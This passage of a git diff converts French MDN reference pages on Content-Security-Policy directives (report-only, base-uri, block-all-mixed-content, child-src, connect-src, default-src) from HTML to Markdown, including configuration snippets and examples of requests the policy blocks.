report-uri /csp-violation-report-endpoint/</pre> + Content-Security-Policy: default-src https:; report-uri /csp-violation-report-endpoint/ -<h2 id="Syntaxe_dun_rapport_de_violation">Syntaxe d'un rapport de violation</h2> +## Syntaxe d'un rapport de violation -<p>L'objet de rapport JSON contient les informations suivantes :</p> +L'objet de rapport JSON contient les informations suivantes : -<dl> - <dt><code>blocked-uri</code></dt> - <dd>L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (<code>document-uri</code>), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port.</dd> - <dt><code>disposition</code></dt> - <dd>Soit <code>"enforce"</code>, soit <code>"report"</code>, selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou <code>Content-Security-Policy-Report-Only</code>.</dd> - <dt><code>document-uri</code></dt> - <dd>L'URI du document dans lequel la violation a eu lieu.</dd> - <dt><code>effective-directive</code></dt> - <dd>La directive qui a causé la violation.</dd> - <dt><code>original-policy</code></dt> - <dd>La règle originale telle que spécifiée par l'en-tête <code>Content-Security-Policy-Report-Only</code>.</dd> - <dt><code>referrer</code></dt> - <dd>Le référent du document dans lequel la violation a eu lieu.</dd> - <dt><code>script-sample</code></dt> - <dd>Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation.</dd> - <dt><code>status-code</code></dt> - <dd>Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié.</dd> - <dt><code>violated-directive</code></dt> - <dd>Le nom de la directive qui a été violée.</dd> -</dl> +- `blocked-uri` + - : L'URI de la ressource dont le chargement a été bloqué par les règles Content Security Policy. Si l'URI bloquée est d'une origine différente que celle du document (`document-uri`), alors l'URI bloquée est tronquée pour contenir uniquement le schéma, l'hôte et le port. +- `disposition` + - : Soit `"enforce"`, soit `"report"`, selon que l'en-tête qui a déclenché l'envoi du rapport est {{HTTPHeader("Content-Security-Policy")}} ou `Content-Security-Policy-Report-Only`. +- `document-uri` + - : L'URI du document dans lequel la violation a eu lieu. +- `effective-directive` + - : La directive qui a causé la violation. +- `original-policy` + - : La règle originale telle que spécifiée par l'en-tête `Content-Security-Policy-Report-Only`. +- `referrer` + - : Le référent du document dans lequel la violation a eu lieu. +- `script-sample` + - : Les 40 premiers caractères du script embarqué, du gestionnaire d'évènements par attribut ou de la feuille de style qui a causé la violation. +- `status-code` + - : Le code de statut HTTP de la ressource sur laquelle l'objet global a été instancié. +- `violated-directive` + - : Le nom de la directive qui a été violée. -<h2 id="Extrait_de_rapport_de_violation">Extrait de rapport de violation</h2> +## Extrait de rapport de violation -<div>Considérons une page à l'adresse <code>http://example.com/signup.html</code>. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis <code>cdn.example.com</code>.</div> +Considérons une page à l'adresse `http://example.com/signup.html`. Elle utilise la règle CSP suivante, interdisant tout excepté les feuilles de styles chargées depuis `cdn.example.com`. -<div> -<pre>Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports</pre> -</div> + Content-Security-Policy-Report-Only: default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports -<div>La page HTML correspondant à l'adresse <code>signup.html</code> ressemble à :</div> +La page HTML correspondant à l'adresse `signup.html` ressemble à : -<pre class="brush: html"><!DOCTYPE html> -<html> - <head> - <title>Sign Up</title> - <link rel="stylesheet" href="css/style.css"> - </head> - <body> +```html +<!DOCTYPE html> +<html> + <head> + <title>Sign Up</title> + <link rel="stylesheet" href="css/style.css"> + </head> + <body> ... Content ... - </body> -</html></pre> + </body> +</html> +``` -<div>Avez-vous identifié une violation ?</div> +Avez-vous identifié une violation ?Les feuilles de styles ne sont acceptées que si elles sont chargées depuis `cdn.example.com`, et pourtant le site tente d'en charger une depuis sa propre origine (`http://example.com`). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse `http://example.com/_/csp-reports` quand la page sera visitée : -<div>Les feuilles de styles ne sont acceptées que si elles sont chargées depuis <code>cdn.example.com</code>, et pourtant le site tente d'en charger une depuis sa propre origine (<code>http://example.com</code>). Un navigateur capable d'imposer des règles CSP enverra le rapport de violation suivant sous la forme d'une requête POST à l'adresse <code>http://example.com/_/csp-reports</code> quand la page sera visitée :</div> - -<pre class="brush: js">{ +```js +{ "csp-report": { "document-uri": "http://example.com/signup.html", "referrer": "", @@ -114,43 +113,25 @@ translation_of: Web/HTTP/Headers/Content-Security-Policy-Report-Only "original-policy": "default-src 'none'; style-src cdn.example.com; report-uri /_/csp-reports", "disposition": "report" } -}</pre> - -<p>Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété <code>blocked-uri</code>. Ce n'est pas toujours le cas. Par exemple, quand la page <code>signup.html</code> essaiera de charger un CSS depuis <code>http://anothercdn.example.com/stylesheet.css</code>, le navigateur n'inclura pas le chemin complet mais seulement son origine (<code>http://anothercdn.example.com</code>). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes.</p> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +} +``` + +Comme vous le voyez, la rapport inclut le chemin complet de la ressource à l'origine de la violaton dans la propriété `blocked-uri`. Ce n'est pas toujours le cas. Par exemple, quand la page `signup.html` essaiera de charger un CSS depuis `http://anothercdn.example.com/stylesheet.css`, le navigateur n'inclura pas le chemin complet mais seulement son origine (`http://anothercdn.example.com`). Cela est fait pour empêcher les fuites d'informations sensibles à propos de ressources externes. + +## Spécifications + +| Spécification | Statut | Commentaire | +| -------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.Content-Security-Policy-Report-Only")}}</p> +{{Compat("http.headers.Content-Security-Policy-Report-Only")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>CSP {{CSP("report-uri")}} directive</li> - <li><a href="/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy">Content Security in WebExtensions</a></li> - <li><a href="/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies">Display security and privacy policies In Firefox Developer Tools</a></li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- CSP {{CSP("report-uri")}} directive +- [Content Security in WebExtensions](/en-US/docs/Mozilla/Add-ons/WebExtensions/Content_Security_Policy) +- [Display security and privacy policies In Firefox Developer Tools](/en-US/docs/Tools/GCLI/Display_security_and_privacy_policies) diff --git a/files/fr/web/http/headers/content-security-policy/base-uri/index.md b/files/fr/web/http/headers/content-security-policy/base-uri/index.md index 714cfb2f7b..87d7c5c3a4 100644 --- a/files/fr/web/http/headers/content-security-policy/base-uri/index.md +++ b/files/fr/web/http/headers/content-security-policy/base-uri/index.md @@ -12,98 +12,88 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/base-uri --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>base-uri</code></strong> restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`base-uri`** restreint les URL qui peuvent être utilisées comme valeur d'un élément {{HTMLElement("base")}}. Si cette valeur est absente, alors toutes les adresses sont autorisées. Si cette directive est absente, l'agent utilisateur va utiliser la valeur dans l'élément {{HTMLElement("base")}}. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>2</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Document directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Non, ne pas la définir autorise toutes les URL</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Document directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td>Non, ne pas la définir autorise toutes les URL</td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs <em>sources</em> peuvent être autorisées pour cette directive :</p> +Une ou plusieurs _sources_ peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: base-uri <source>; -Content-Security-Policy: base-uri <source> <source>; -</pre> + Content-Security-Policy: base-uri <source>; + Content-Security-Policy: base-uri <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs <code>'unsafe-inline'</code> et <code>'strict-dynamic'</code></p> +Bien que cette directive utilise les mêmes arguments que d'autres directives CSP, certains d'entre eux n'ont pas de sens concernant l'élément {{HTMLElement("base")}}, comme les valeurs `'unsafe-inline'` et `'strict-dynamic'` -<p>{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}}</p> +{{page("fr/Web/HTTP/Headers/Content-Security-Policy/default-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Configuration_par_balise_<meta>">Configuration par balise <meta></h3> +### Configuration par balise \<meta> -<pre class="brush: html"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'"></pre> +```html +<meta http-equiv="Content-Security-Policy" content="base-uri 'self'"> +``` -<h3 id="Configuration_par_Apache">Configuration par Apache</h3> +### Configuration par Apache -<pre class="brush: bash"><IfModule mod_headers.c> +```bash +<IfModule mod_headers.c> Header set Content-Security-Policy "base-uri 'self'"; -</IfModule></pre> +</IfModule> +``` -<h3 id="Configuration_par_Nginx">Configuration par Nginx</h3> +### Configuration par Nginx -<pre class="brush: bash">add_header Content-Security-Policy "base-uri 'self';"</pre> +```bash +add_header Content-Security-Policy "base-uri 'self';" +``` -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>À partir du moment où votre domaine n'est pas <code>example.com</code>, un élément {{HTMLElement("base")}} avec son attribut <code>href</code> défini à <code>https://example.com</code> résultera en une violation de CSP.</p> +À partir du moment où votre domaine n'est pas `example.com`, un élément {{HTMLElement("base")}} avec son attribut `href` défini à `https://example.com` résultera en une violation de CSP. -<pre class="brush: html; example-bad"><meta http-equiv="Content-Security-Policy" content="base-uri 'self'"> -<base href="https://example.com/"> +```html example-bad +<meta http-equiv="Content-Security-Policy" content="base-uri 'self'"> +<base href="https://example.com/"> // Error: Refused to set the document's base URI to 'https://example.com/' // because it violates the following Content Security Policy -// directive: "base-uri 'self'"</pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-base-uri", "base-uri")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-base-uri", "base-uri")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +// directive: "base-uri 'self'" +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ---------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-base-uri", "base-uri")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-base-uri", "base-uri")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.base-uri")}}</p> +{{Compat("http.headers.csp.base-uri")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPheader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("base")}}</li> - <li>{{domxref("Node.baseURI")}}</li> -</ul> +- {{HTTPheader("Content-Security-Policy")}} +- {{HTMLElement("base")}} +- {{domxref("Node.baseURI")}} diff --git a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md index 92897ebaf9..02b2d4f27a 100644 --- a/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md +++ b/files/fr/web/http/headers/content-security-policy/block-all-mixed-content/index.md @@ -13,56 +13,40 @@ tags: - block-all-mixed-content translation_of: Web/HTTP/Headers/Content-Security-Policy/block-all-mixed-content --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>block-all-mixed-content</strong></code> bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`block-all-mixed-content`** bloque le chargement de ressources via HTTP lorsque la page utilise HTTPS. -<p>Toutes les requêtes vers des <a href="/fr/docs/Sécurité/MixedContent">contenus mixtes</a> sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes.</p> +Toutes les requêtes vers des [contenus mixtes](/fr/docs/Sécurité/MixedContent) sont alors bloquées, y compris les ressources actives et passives. Cela s'applique aussi aux documents {{HTMLElement("iframe")}}, assurant que la page est complètement protégée contre les contenus mixtes. -<div class="note"> -<p><strong>Note :</strong> La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant <code>block-all-mixed-content</code>. Si elle est définie, alors <code>block-all-mixed-content</code> n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP.</p> -</div> +> **Note :** La directive {{CSP("upgrade-insecure-requests")}} est évaluée avant `block-all-mixed-content`. Si elle est définie, alors `block-all-mixed-content` n'est pas nécessaire, à moins que vous souhaitiez forcer HTTPS sur les anciens navigateurs qui ne le font pas après une redirection vers HTTP. -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<pre class="syntaxbox">Content-Security-Policy: block-all-mixed-content;</pre> + Content-Security-Policy: block-all-mixed-content; -<h2 id="Exemples">Exemples</h2> +## Exemples -<pre>Content-Security-Policy: block-all-mixed-content; + Content-Security-Policy: block-all-mixed-content; -<meta http-equiv="Content-Security-Policy" content="block-all-mixed-content"> -</pre> + <meta http-equiv="Content-Security-Policy" content="block-all-mixed-content"> -<p>Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur <code>https:</code>. Par exemple, pour interdire les images HTTP non sécurisées :</p> +Pour interdire l'usage de HTTP de manière plus fine, vous pouvez aussi configurer individuellement chaque directive sur `https:`. Par exemple, pour interdire les images HTTP non sécurisées : -<pre>Content-Security-Policy: img-src https:</pre> + Content-Security-Policy: img-src https: -<h2 id="Spécifications">Spécifications</h2> +## Spécifications -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Specification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}}</td> - <td>{{Spec2('Mixed Content')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +| Specification | Statut | Commentaire | +| ---------------------------------------------------------------------------------------------------------------- | ------------------------------------ | -------------------- | +| {{specName("Mixed Content", "#block-all-mixed-content", "block-all-mixed-content")}} | {{Spec2('Mixed Content')}} | Définition initiale. | -<h2 id="Compatibilités_navigateurs">Compatibilités navigateurs</h2> +## Compatibilités navigateurs -<p>{{Compat("http.headers.csp.block-all-mixed-content")}}</p> +{{Compat("http.headers.csp.block-all-mixed-content")}} -<h2 id="Voir_également">Voir également</h2> +## Voir également -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{CSP("upgrade-insecure-requests")}}</li> - <li><a href="/en-US/docs/Web/Security/Mixed_content">Mixed content</a></li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{CSP("upgrade-insecure-requests")}} +- [Mixed content](/en-US/docs/Web/Security/Mixed_content) diff --git a/files/fr/web/http/headers/content-security-policy/child-src/index.md b/files/fr/web/http/headers/content-security-policy/child-src/index.md index 8cf2d1ab7a..6e2c72d712 100644 --- a/files/fr/web/http/headers/content-security-policy/child-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/child-src/index.md @@ -14,85 +14,74 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/child-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>child-src</code></strong> définit les sources valides de <a href="/en-US/docs/Web/API/Web_Workers_API">web workers</a> et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur.</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`child-src`** définit les sources valides de [web workers](/en-US/docs/Web/API/Web_Workers_API) et de contextes de navigations imbriqués chargés au moyen d'éléments tels que {{HTMLElement("frame")}} et {{HTMLElement("iframe")}}. Pour les workers, les requêtes conformes sont traitées comme des erreurs de réseau fatales par l'agent utilisateur. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>2</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>2</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: child-src <source>; -Content-Security-Policy: child-src <source> <source>; -</pre> + Content-Security-Policy: child-src <source>; + Content-Security-Policy: child-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}}</p> +{{page("Web/HTTP/Headers/Content-Security-Policy/connect-src", "Sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: child-src https://example.com/</pre> +```bash +Content-Security-Policy: child-src https://example.com/ +``` -<p>Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas :</p> +Cet {{HTMLElement("iframe")}} et ce worker seront bloqués et ne se chargeront pas : -<pre class="brush: html"><iframe src="https://not-example.com"></iframe> +```html +<iframe src="https://not-example.com"></iframe> -<script> +<script> var blockedWorker = new Worker("data:application/javascript,..."); -</script></pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <tbody> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - <tr> - <td>{{specName("CSP 3.0", "#directive-child-src", "child-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-child-src", "child-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +</script> +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| -------------------------------------------------------------------------------- | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-child-src", "child-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-child-src", "child-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.child-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.child-src")}} -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("frame")}} and {{HTMLElement("iframe")}}</li> - <li>{{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("frame")}} and {{HTMLElement("iframe")}} +- {{domxref("Worker")}}, {{domxref("SharedWorker")}}, {{domxref("ServiceWorker")}} diff --git a/files/fr/web/http/headers/content-security-policy/connect-src/index.md b/files/fr/web/http/headers/content-security-policy/connect-src/index.md index 845f46f7b0..35179b9411 100644 --- a/files/fr/web/http/headers/content-security-policy/connect-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/connect-src/index.md @@ -13,65 +13,66 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/connect-src --- -<div>{{HTTPSidebar}}</div> +{{HTTPSidebar}} -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <code><strong>connect-src</strong></code> restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont :</p> +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) **`connect-src`** restreint les URL qui peuvent être chargées en utilisant des interfaces de programmation. Les API qui sont affectées sont : -<ul> - <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}},</li> - <li>{{domxref("Fetch")}},</li> - <li>{{domxref("XMLHttpRequest")}},</li> - <li>{{domxref("WebSocket")}},</li> - <li>{{domxref("EventSource")}}, and</li> - <li>{{domxref("Navigator.sendBeacon()")}}.</li> -</ul> +- {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}, +- {{domxref("Fetch")}}, +- {{domxref("XMLHttpRequest")}}, +- {{domxref("WebSocket")}}, +- {{domxref("EventSource")}}, and +- {{domxref("Navigator.sendBeacon()")}}. -<div class="note"> -<p><strong>Note :</strong> <code>connect-src 'self'</code> ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : <a href="https://github.com/w3c/webappsec-csp/issues/7">https://github.com/w3c/webappsec-csp/issues/7</a>.</p> -</div> +> **Note :** `connect-src 'self'` ne s'applique pas aux schémas de websocket pour tous les navigateurs. Pour plus d'informations, consulter : <https://github.com/w3c/webappsec-csp/issues/7>. <table class="properties"> - <tbody> - <tr> - <th scope="row">Version de CSP</th> - <td>1</td> - </tr> - <tr> - <th scope="row">Type de directive</th> - <td>{{Glossary("Fetch directive")}}</td> - </tr> - <tr> - <th scope="row">{{CSP("default-src")}} par défaut</th> - <td>Oui, si cette directive est absente, l'agent utilisateur consultera la directive <code>default-src</code></td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Version de CSP</th> + <td>1</td> + </tr> + <tr> + <th scope="row">Type de directive</th> + <td>{{Glossary("Fetch directive")}}</td> + </tr> + <tr> + <th scope="row">{{CSP("default-src")}} par défaut</th> + <td> + Oui, si cette directive est absente, l'agent utilisateur consultera la + directive <code>default-src</code> + </td> + </tr> + </tbody> </table> -<h2 id="Syntaxe">Syntaxe</h2> +## Syntaxe -<p>Une ou plusieurs sources peuvent être autorisées pour cette directive :</p> +Une ou plusieurs sources peuvent être autorisées pour cette directive : -<pre class="syntaxbox">Content-Security-Policy: connect-src <source>; -Content-Security-Policy: connect-src <source> <source>; -</pre> + Content-Security-Policy: connect-src <source>; + Content-Security-Policy: connect-src <source> <source>; -<h3 id="Sources">Sources</h3> +### Sources -<p>{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}}</p> +{{page("/fr/docs/Web/HTTP/Headers/Content-Security-Policy/default-src", "common_sources")}} -<h2 id="Exemples">Exemples</h2> +## Exemples -<h3 id="Cas_de_violation">Cas de violation</h3> +### Cas de violation -<p>Soit cet en-tête CSP :</p> +Soit cet en-tête CSP : -<pre class="brush: bash">Content-Security-Policy: connect-src https://example.com/</pre> +```bash +Content-Security-Policy: connect-src https://example.com/ +``` -<p>Les connexions suivantes seront bloquées et ne se chargeront pas :</p> +Les connexions suivantes seront bloquées et ne se chargeront pas : -<pre class="brush: html"><a ping="https://not-example.com"> +```html +<a ping="https://not-example.com"> -<script> +<script> var xhr = new XMLHttpRequest(); xhr.open('GET', 'https://not-example.com/'); xhr.send(); @@ -81,49 +82,29 @@ Content-Security-Policy: connect-src <source> <source>; var es = new EventSource("https://not-example.com/"); navigator.sendBeacon("https://not-example.com/", { ... }); -</script></pre> - -<h2 id="Spécifications">Spécifications</h2> - -<table class="standard-table"> - <thead> - <tr> - <th scope="col">Spécification</th> - <th scope="col">Statut</th> - <th scope="col">Commentaire</th> - </tr> - </thead> - <tbody> - <tr> - <td>{{specName("CSP 3.0", "#directive-connect-src", "connect-src")}}</td> - <td>{{Spec2('CSP 3.0')}}</td> - <td>Inchangé.</td> - </tr> - <tr> - <td>{{specName("CSP 1.1", "#directive-connect-src", "connect-src")}}</td> - <td>{{Spec2('CSP 1.1')}}</td> - <td>Définition initiale.</td> - </tr> - </tbody> -</table> +</script> +``` + +## Spécifications + +| Spécification | Statut | Commentaire | +| ------------------------------------------------------------------------------------ | ---------------------------- | -------------------- | +| {{specName("CSP 3.0", "#directive-connect-src", "connect-src")}} | {{Spec2('CSP 3.0')}} | Inchangé. | +| {{specName("CSP 1.1", "#directive-connect-src", "connect-src")}} | {{Spec2('CSP 1.1')}} | Définition initiale. | -<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2> +## Compatibilité des navigateurs -<p>{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}}</p> +{{Compat("http.headers.csp.Content-Security-Policy.connect-src")}} -<h2 id="Notes_de_compatibilité">Notes de compatibilité</h2> +## Notes de compatibilité -<ul> - <li>Avant Firefox 23, <code>xhr-src</code> était utilisé en lieu et place de la directive <code>connect-src</code> et ne s'appliquait qu'à l'API {{domxref("XMLHttpRequest")}}.</li> -</ul> +- Avant Firefox 23, `xhr-src` était utilisé en lieu et place de la directive `connect-src` et ne s'appliquait qu'à l'API {{domxref("XMLHttpRequest")}}. -<h2 id="Voir_aussi">Voir aussi</h2> +## Voir aussi -<ul> - <li>{{HTTPHeader("Content-Security-Policy")}}</li> - <li>{{HTMLElement("a")}} {{htmlattrxref("ping", "a")}}</li> - <li>{{domxref("Fetch")}}</li> - <li>{{domxref("XMLHttpRequest")}}</li> - <li>{{domxref("WebSocket")}}</li> - <li>{{domxref("EventSource")}}</li> -</ul> +- {{HTTPHeader("Content-Security-Policy")}} +- {{HTMLElement("a")}} {{htmlattrxref("ping", "a")}} +- {{domxref("Fetch")}} +- {{domxref("XMLHttpRequest")}} +- {{domxref("WebSocket")}} +- {{domxref("EventSource")}} diff --git a/files/fr/web/http/headers/content-security-policy/default-src/index.md b/files/fr/web/http/headers/content-security-policy/default-src/index.md index 9f2d9d6cb8..ac8590e5ce 100644 --- a/files/fr/web/http/headers/content-security-policy/default-src/index.md +++ b/files/fr/web/http/headers/content-security-policy/default-src/index.md @@ -14,108 +14,105 @@ tags: - source translation_of: Web/HTTP/Headers/Content-Security-Policy/default-src --- -<div>{{HTTPSidebar}}</div> - -<p>La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) <strong><code>default-src</code></strong> sert de valeur par défaut pour les autres directives CSP {{Glossary("fetch directive", "fetch directives")}}.</p> - -<p>Pour chacune des directives suivantes, l'agent utilisateur consultera la directive <code>default-src</code> et utilisera sa valeur pour la directive demandée si celle-ci est absente :</p> - -<ul> - <li>{{CSP("child-src")}}</li> - <li>{{CSP("connect-src")}}</li> - <li>{{CSP("font-src")}}</li> - <li>{{CSP("frame-src")}}</li> - <li>{{CSP("img-src")}}</li> - <li>{{CSP("manifest-src")}}</li> - <li>{{CSP("media-src")}}</li> - <li>{{CSP("object-src")}}</li> - <li>{{CSP("prefetch-src")}}</li> - <li>{{CSP("script-src")}}</li> - <li>{{CSP("script-src-elem")}}</li> - <li>{{CSP("script-src-attr")}}</li> - <li>{{CSP("style-src")}}</li> - <li>{{CSP("style-src-elem")}}</li> - <li>{{CSP("style-src-attr")}}</li> - <li>{{CSP("worker-src")}}</li> -</ul> +{{HTTPSidebar}} + +La directive HTTP {{HTTPHeader("Content-Security-Policy")}} (CSP) 